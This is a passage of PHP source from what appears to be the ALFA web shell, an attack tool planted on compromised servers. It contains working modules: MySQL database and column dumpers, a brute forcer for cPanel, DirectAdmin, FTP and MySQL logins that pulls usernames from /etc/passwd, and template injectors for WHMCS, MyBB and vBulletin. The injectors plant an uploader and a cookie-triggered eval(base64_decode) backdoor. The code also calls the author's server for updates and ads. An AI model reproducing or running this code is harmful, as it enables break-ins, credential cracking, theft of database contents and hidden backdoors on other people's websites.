<font color='#FFFFFF'>Skype : sole.sad</font><br>
<font color='#FF0000'>Persian Gulf For Ever</font><br>
<font color='#FF0000'>Iranian Programmers</font><br>
<font color='#FF0000'>############</font><br>
</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
}
echo __pre().$about_us;
echo('</div>');
alfafooter();
}
function alfacoldumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if($('dumper-delimiter-type').value == 'delimiter')delimiter=$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = (!empty($_POST['alfa1']) ? $_POST['alfa1'] : '::');
$selected_data = json_decode($_POST['alfa2'], true);
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$db = false;
if(!empty($dbname)){
	$db = @mysqli_connect($host, $username, $password, $dbname);
}
if(count($selected_data) > 0){
	if($db){
		if(!is_dir($dfile)){
			$dfile = $GLOBALS['cwd'];
		}
		$tbls = "";
		$ext = '.txt';
		if($delimiter == 'json'){
			$ext = '.json';
		}
		foreach ($selected_data as $tbl => $cols) {
			$tables_query = mysqli_query($db, "SELECT ".implode(',', $cols)." FROM $tbl");
			$file_name = $dfile.'/'.$dbname.'.'.$tbl.$ext;
			$fp = fopen($file_name, "w");
			$data = array();
			while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
				if($delimiter == "json"){
					$col_arr = array();
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						 $col_arr[$key] = $value;
					}
					$data[$tbl][] = $col_arr;
				}else{
					$data = "";
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						$data .= $value . $delimiter;
					}
					fwrite($fp, $data ."\n");
				}
			}
			if($delimiter == "json"){
				fwrite($fp, json_encode($data));
			}
			fclose($fp);
			$tbls .= "Done ~~~> ".$file_name."<br>";
		}
		echo __pre();
		echo "<center><font color='#00FF00'>".$tbls."</font></center>";
	}
}
if(!empty($dbname) && count($selected_data) == 0){
//echo __pre();
if($db){
	echo("<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>");
	echo("<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>");
	$data = array();
	$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
	while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
		$data[$row["table_name"]] = array();
		$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row['table_name']."`");
		$table_count = mysqli_fetch_row($table_count_q);
		$data[$row["table_name"]]["data_count"] = $table_count[0];
		$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '".$row['table_name']."'");
		while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
			$data[$row["table_name"]]["cols"][] = $row2["column_name"];
		}
	}
	mysqli_close($db);

	echo '<ul id="myUL">';
	foreach($data as $tbl => $cols){
	    echo '<li><span style="color:#00FF00;" class="box">'.$tbl.' ('.$cols["data_count"].')</span><ul class="nested">';
	    foreach($cols["cols"] as $col){
	        echo '<li tbl="'.$tbl.'"><span style="color:#00FF00;" tbl="'.$tbl.'" class="box sub-box">' . $col . '</span></li>';
	    }
	    echo '</ul></li>';
	}
	echo '</ul>';
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function alfaDumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
if(!empty($dbname)){
echo __pre();
$msg = "<center>Check this :  <font color='red'>".$dfile."</font></center>";
if(@mysqli_connect($host,$username,$password,$dbname)){
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'");
echo($msg);
}else{
__alert("Error...!");
}
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function Alfa_DirectAdmin_Cracker($info){
if(!$info['mysql'])
$url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
else $url = $info['protocol'].$info['target'].'/phpmyadmin';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info){
$url = $info['protocol'].$info['target'].':'.$info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/filemanager/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info){
$url = $info['protocol'].$info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/(\d+):(\d+)/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info){
if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
CrackerResualt($info);
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
}
}
function Alfa_FTPC($info){
if($con=@ftp_connect($info['target'],$info['port'])){
if($con){
$login=@ftp_login($con,$info['username'],$info['password']);
if($login){CrackerResualt($info);}}}
@ftp_close($con);
}
function CrackerResualt($info){
$res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ;
$c = @fopen($info['fcrack'],'a+');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method,$info){
switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}
}
function alfaCrackers(){
alfahead();
AlfaNum(9,10);
echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
foreach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value="'.$key.'">'.$val.'</option>');
echo '</select> Protocol: <select id="protocol" name="protocol">';
foreach(array('https://','http://','ftp://') as $val)echo('<option value="'.$val.'">'.$val.'</option>');
echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">'.($GLOBALS['sys']=='unix'?alfaEx("cut -d: -f1 /etc/passwd"):"").'</textarea>
&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
$target = str_replace(array('https://','http://','ftp://'),'',$_POST['alfa1']);
$port = $_POST['alfa2'];
$usernames= $_POST['alfa3'];
$passwords = $_POST['alfa4'];
$fcrack = $_POST['alfa5'];
$cracking = $_POST['alfa6'];
$protocol = $_POST['alfa7'];
$loginpanel = $_POST['alfa8'];
$p = $loginpanel == 'phpmyadmin' ? $p = true : false;
if($cracking=='start'){
echo __pre();
$exuser = explode("\n",$usernames);
$expw = explode("\n",$passwords);
foreach($exuser as $user){
foreach($expw as $pw){
$array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);
Alfa_Call_Function_Cracker($loginpanel,$array);
}
}
echo '<br><font color="red">Attack Finished...</font>';
}
echo '</div>';
alfafooter();
}
function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$string."'>Click Here !</a></font></b></center><br><br>";}
function alfaShellInjectors(){
alfahead();
echo '<div class=header>';
AlfaNum(11);
echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){
AlfaNum();
echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}".ALFA_UPLOADER.";{/php}";
$newin = str_replace("'","\'",$index);
$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('[email protected]')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version') && $method == 'auto'){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&[email protected]");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= 'http://'.$path."/solevisible.php";
output($ff);}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>[email protected]</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/solevisible.php' target='_blank'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
}if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
AlfaNum(1,2,3,5);
echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${".ALFA_UPLOADER."}}";
$newinshell = str_replace("'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where  title= 'calendar'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath."/calendar.php";
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
}}}}
if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
AlfaNum(1,2,7,9,10);
echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo '<p><input type="submit" value=" " /></p></form></center>';
if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if(empty($savetoass)){
	$faq_name = "header";
	$faq_file = "/";
	$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
	$recivedata = @mysqli_query($conn,$rec);
	$getd = @mysqli_fetch_assoc($recivedata);
	$savetoass = $getd['template'];
	$code = ALFA_UPLOADER.";";
}
$code = str_replace("'","\'",$code);
$p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if($faq_name == "header"){
	if(substr($saveval, -5, 5) == "/core"){
		$saveval = substr($saveval, 0, -5);
	}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath.$faq_file;
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
echo '</div>';
alfafooter();
}
function alfacheckfiletype(){
	$path = $_POST['path'];
	$arg = $_POST['arg'];
	if(@is_file($path.'/'.$arg)){
		echo("file");
	}else{
		echo("dir");
	}
}
function alfacheckupdate(){
	if($GLOBALS["DB_NAME"]["cgi_api"]){
		if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){
			_alfa_cgicmd("whoami","perl",true);
			if(strlen(alfaEx("whoami",false,true))>0){
				__alfa_set_cookie("alfa_canruncmd", "true");
			}
		}
	}
	if(function_exists("curl_version")){
		$update = new AlfaCURL();
		$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);
		$json = @json_decode($json,true);
		$data = array();
		if($json){
			if(!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])){
				if($json["type"] == "update"){
					if(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){
						@setcookie("alfa_checkupdate", "1", time()+86400);
						$data["content"] = '<div class="update-holder">'.$json["content"].'</div>';
					}
				}
			}
			if(isset($json["ads"]) && !empty($json["ads"])){
				$data["content"] .= $json["ads"];
			}
			if(isset($json["copyright"]) && !empty($json["copyright"])){
				$data["copyright"] = $json["copyright"];
			}
			if(isset($json["solevisible"]) && !empty($json["solevisible"])){
				$data["solevisible"] = $json["solevisible"];
			}
			if(isset($json["code_name"]) && !empty($json["code_name"])){
				$data["code_name"] = $json["code_name"];
				$data["version_number"] = __ALFA_VERSION__;
			}
			if(isset($json["market"]) && !empty($json["market"])){
				$data["market"] = $json["market"];
			}
			echo @json_encode($data);
		}
	}
}
function alfaWriteTocgiapi($name, $source){
	$temp = "";
	$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
	if(in_array($name, $not_api)){
		$temp = ALFA_TEMPDIR;
		if($temp){
			@chdir($temp);
		}
	}else{
		alfaCreateParentFolder();
		@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
	}
	@mkdir('alfacgiapi',0755);
	__write_file("alfacgiapi/".$name, __get_resource($source));
	@chmod("alfacgiapi/".$name, 0755);
	return $temp;
}
function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
function alfaupdateheader(){
	if(!isset($_COOKIE["updateheader_data"])){
